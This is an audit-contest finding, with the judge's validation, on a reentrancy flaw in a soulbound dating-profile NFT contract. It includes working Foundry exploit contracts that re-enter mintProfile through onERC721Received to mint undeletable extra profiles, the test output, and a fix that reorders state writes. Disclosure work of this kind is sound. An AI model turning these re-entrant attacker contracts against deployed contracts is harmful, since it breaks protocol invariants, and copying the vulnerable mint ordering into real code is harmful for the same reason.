DatingDapp
AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

SoulboundProfileNFT::mintProfile writes profileToToken only after the _safeMint callback, so a contract re-enters and mints several soulbound profiles to one address; the extra tokens can never be burned by the holder or blocked by the owner

friedsocks233

Root + Impact

Description

  • Each address may hold one profile: mintProfile requires profileToToken[msg.sender] == 0 (L31). Each profile is soulbound. The holder can remove it with burnProfile and the owner with blockProfile.

  • mintProfile calls _safeMint (L34) before it writes _profiles and profileToToken (L37-L38), and it has no reentrancy guard. In the pinned OpenZeppelin 5.0.2, _safeMint runs _mint and then _checkOnERC721Received (ERC721.sol L312-L315). That function calls onERC721Received on a contract recipient (L465-L467). Inside that callback profileToToken[msg.sender] still reads 0, so the recipient can call mintProfile again and receive another token. When the outer call resumes, it overwrites profileToToken with the first token id. burnProfile (L45) and blockProfile (L58) find a token only through profileToToken, and the transfer overrides (L69-L77) always revert. Every token minted inside the callback is therefore orphaned: it can never be burned, blocked or moved.

// src/SoulboundProfileNFT.sol L30-L41: state is written after the external call in _safeMint, with no reentrancy guard
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
@> require(profileToToken[msg.sender] == 0, "Profile already exists"); // L31: still 0 inside the callback
​
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId); // L34: calls onERC721Received on a contract recipient
​
// Store metadata on-chain
@> _profiles[tokenId] = Profile(name, age, profileImage); // L37
@> profileToToken[msg.sender] = tokenId; // L38: the outer frame overwrites the inner token id
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
​
// src/SoulboundProfileNFT.sol L45 (burnProfile) and L58 (blockProfile): the only ways to find a token to burn
@> uint256 tokenId = profileToToken[msg.sender];
@> uint256 tokenId = profileToToken[blockAddress];
​
// lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol L312-L315 (v5.0.2): _mint, then the receiver callback
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
_mint(to, tokenId);
@> _checkOnERC721Received(address(0), to, tokenId, data);
}

Risk

Likelihood:

  • Anyone can trigger it with a contract whose onERC721Received calls mintProfile again. It needs no role, no funds and no particular ordering.

  • It needs a purpose-built receiver contract, and it gives the attacker no extra like or match power, because LikeRegistry gates only on profileToToken, which still points to one token. It is therefore a deliberate act, not something honest users run into.

Impact:

  • The one-profile-per-address invariant breaks. In the PoC, one call leaves balanceOf(attacker) == 2 while profileToToken points to token 1, and emits two ProfileMinted events for the same address. With nine re-entries, one transaction mints 10 profiles.

  • The orphaned profiles and their metadata are permanent. burnProfile and blockProfile burn only the mapped token, then revert No profile found. tokenURI(2) returns the same metadata after a block as before it. Repeating attack-then-block leaves one more undeletable profile each round. No ETH is at risk.

Proof of Concept

The PoC deploys SoulboundProfileNFT and two receiver contracts:

  • HonestReceiver accepts the token and never re-enters.

  • ReentrantMinter's onERC721Received calls mintProfile again a configurable number of times.

The baseline shows that a second mint from an EOA, or from the honest contract, reverts Profile already exists. The attack tests show the following:

  • One re-entry: the attacker holds tokens 1 and 2, profileToToken points to 1, and two ProfileMinted events are emitted for the same address.

  • Nine re-entries: the attacker holds 10 profiles from one transaction.

  • Orphaned token: after the holder burns, or the owner blocks, the mapped token:

    • token 2 is still owned by the attacker;

    • a second burn or block reverts No profile found;

    • transferFrom and safeTransferFrom revert;

    • tokenURI(2) returns the same metadata as before.

  • Repeat: three rounds of attack-then-block leave three undeletable profiles (tokens 2, 4 and 6).

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
​
/// @dev Honest contract wallet: accepts the NFT, never re-enters.
contract HonestReceiver is IERC721Receiver {
SoulboundProfileNFT public nft;
​
constructor(SoulboundProfileNFT _nft) {
nft = _nft;
}
​
function mint(string memory name) external {
nft.mintProfile(name, 25, "ipfs://honest");
}
​
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
​
/// @dev Attacker contract: re-enters mintProfile from onERC721Received `extra` times.
contract ReentrantMinter is IERC721Receiver {
SoulboundProfileNFT public nft;
uint256 public extra; // how many extra re-entrant mints per top-level mint
uint256 public depth;
​
constructor(SoulboundProfileNFT _nft) {
nft = _nft;
}
​
function attack(uint256 _extra) external {
extra = _extra;
depth = 0;
nft.mintProfile("outer", 20, "ipfs://outer");
}
​
function burn() external {
nft.burnProfile();
}
​
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
if (depth < extra) {
depth++;
nft.mintProfile("inner", 20, "ipfs://inner");
}
return IERC721Receiver.onERC721Received.selector;
}
}
​
contract PoC_DD06 is Test {
SoulboundProfileNFT nft;
address owner = makeAddr("owner");
address alice = makeAddr("alice");
ReentrantMinter attacker;
​
bytes32 constant PROFILE_MINTED_SIG = keccak256("ProfileMinted(address,uint256,string,uint8,string)");
​
function setUp() public {
vm.prank(owner);
nft = new SoulboundProfileNFT();
attacker = new ReentrantMinter(nft);
}
​
// ---------------------------------------------------------------
// Baseline: the intended invariant (one profile per address) holds
// for EOAs and for honest contract wallets.
// ---------------------------------------------------------------
function test_Baseline_OneProfilePerAddress() public {
vm.prank(alice);
nft.mintProfile("alice", 25, "ipfs://alice");
assertEq(nft.balanceOf(alice), 1);
assertEq(nft.profileToToken(alice), 1);
​
vm.prank(alice);
vm.expectRevert(bytes("Profile already exists"));
nft.mintProfile("alice2", 25, "ipfs://alice2");
​
HonestReceiver honest = new HonestReceiver(nft);
honest.mint("h1");
assertEq(nft.balanceOf(address(honest)), 1);
vm.expectRevert(bytes("Profile already exists"));
honest.mint("h2");
​
// Owner block removes the single profile completely.
vm.prank(owner);
nft.blockProfile(alice);
assertEq(nft.balanceOf(alice), 0);
assertEq(nft.profileToToken(alice), 0);
}
​
// ---------------------------------------------------------------
// Limb 1: re-entrancy through _safeMint's onERC721Received breaks the
// one-profile-per-address check. balanceOf == N, mapping -> token 1.
// ---------------------------------------------------------------
function test_Reentrancy_MintsMultipleProfiles() public {
vm.recordLogs();
attacker.attack(1);
Vm.Log[] memory logs = vm.getRecordedLogs();
​
assertEq(nft.balanceOf(address(attacker)), 2, "attacker holds 2 soulbound profiles");
assertEq(nft.ownerOf(1), address(attacker));
assertEq(nft.ownerOf(2), address(attacker));
// Outer frame overwrote the inner write: mapping points to token 1 only.
assertEq(nft.profileToToken(address(attacker)), 1, "mapping points at outer token");
​
uint256 minted;
for (uint256 i = 0; i < logs.length; i++) {
if (logs[i].topics[0] == PROFILE_MINTED_SIG && logs[i].topics[1] == bytes32(uint256(uint160(address(attacker))))) {
minted++;
}
}
assertEq(minted, 2, "two ProfileMinted events for one address");
emit log_named_uint("balanceOf(attacker)", nft.balanceOf(address(attacker)));
emit log_named_uint("profileToToken(attacker)", nft.profileToToken(address(attacker)));
emit log_named_uint("ProfileMinted events for attacker", minted);
}
​
function test_Reentrancy_ArbitraryN() public {
attacker.attack(9);
assertEq(nft.balanceOf(address(attacker)), 10, "10 profiles in one tx");
assertEq(nft.profileToToken(address(attacker)), 1);
emit log_named_uint("balanceOf(attacker) after attack(9)", nft.balanceOf(address(attacker)));
}
​
// ---------------------------------------------------------------
// Limb 2: the holder can never burn the orphaned token.
// ---------------------------------------------------------------
function test_OrphanCannotBeBurnedByHolder() public {
attacker.attack(1);
​
attacker.burn(); // burns token 1 (the mapped one)
vm.expectRevert(); // ERC721NonexistentToken(1)
nft.ownerOf(1);
assertEq(nft.profileToToken(address(attacker)), 0);
​
// Token 2 still exists and the holder has no path to it.
assertEq(nft.ownerOf(2), address(attacker));
assertEq(nft.balanceOf(address(attacker)), 1);
​
vm.expectRevert(bytes("No profile found"));
attacker.burn();
​
// Cannot be moved out either (soulbound overrides).
vm.prank(address(attacker));
vm.expectRevert(SoulboundProfileNFT.SoulboundTokenCannotBeTransferred.selector);
nft.transferFrom(address(attacker), alice, 2);
vm.prank(address(attacker));
vm.expectRevert(SoulboundProfileNFT.SoulboundTokenCannotBeTransferred.selector);
nft.safeTransferFrom(address(attacker), alice, 2);
​
assertEq(nft.ownerOf(2), address(attacker), "orphan token 2 permanently stuck");
}
​
// ---------------------------------------------------------------
// Limb 3: the owner can never block the orphaned token; its metadata stays live.
// ---------------------------------------------------------------
function test_OrphanCannotBeBlockedByOwner() public {
attacker.attack(1);
string memory uriBefore = nft.tokenURI(2);
​
vm.prank(owner);
nft.blockProfile(address(attacker)); // burns token 1 only
​
assertEq(nft.profileToToken(address(attacker)), 0);
assertEq(nft.ownerOf(2), address(attacker), "token 2 survives the block");
assertEq(nft.balanceOf(address(attacker)), 1);
​
vm.prank(owner);
vm.expectRevert(bytes("No profile found"));
nft.blockProfile(address(attacker));
​
string memory uriAfter = nft.tokenURI(2);
assertGt(bytes(uriAfter).length, 0);
assertEq(keccak256(bytes(uriAfter)), keccak256(bytes(uriBefore)), "orphan metadata still served");
emit log_named_string("tokenURI(2) after blockProfile", uriAfter);
}
​
// ---------------------------------------------------------------
// Limb 4: after a block the contract re-mints and repeats, accumulating
// undeletable profiles.
// ---------------------------------------------------------------
function test_RepeatAfterBlock_AccumulatesOrphans() public {
for (uint256 round = 0; round < 3; round++) {
attacker.attack(1);
vm.prank(owner);
nft.blockProfile(address(attacker));
}
// Each round leaves one orphan that neither holder nor owner can remove.
assertEq(nft.balanceOf(address(attacker)), 3, "3 orphaned profiles accumulated");
assertEq(nft.profileToToken(address(attacker)), 0);
assertEq(nft.ownerOf(2), address(attacker));
assertEq(nft.ownerOf(4), address(attacker));
assertEq(nft.ownerOf(6), address(attacker));
​
vm.prank(owner);
vm.expectRevert(bytes("No profile found"));
nft.blockProfile(address(attacker));
vm.expectRevert(bytes("No profile found"));
attacker.burn();
emit log_named_uint("orphans after 3 attack+block rounds", nft.balanceOf(address(attacker)));
}
}

Run from the repository root, with the file saved as test/PoC_DD-06.t.sol:

FOUNDRY_FFI=false FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-path test/PoC_DD-06.t.sol -vv

Result: Suite result: ok. 6 passed; 0 failed; 0 skipped. The logs show balanceOf(attacker): 2, profileToToken(attacker): 1, balanceOf(attacker) after attack(9): 10 and orphans after 3 attack+block rounds: 3.

Recommended Mitigation

Write the state before the external call (checks-effects-interactions). A re-entrant call then fails the L31 check and the whole mint reverts. Two alternatives also work: add OpenZeppelin's ReentrancyGuard to mintProfile, or use _mint instead of _safeMint.

--- a/src/SoulboundProfileNFT.sol
+++ b/src/SoulboundProfileNFT.sol
@@ -31,11 +31,11 @@
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
- // Store metadata on-chain
+ // Store metadata on-chain before the external onERC721Received call
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!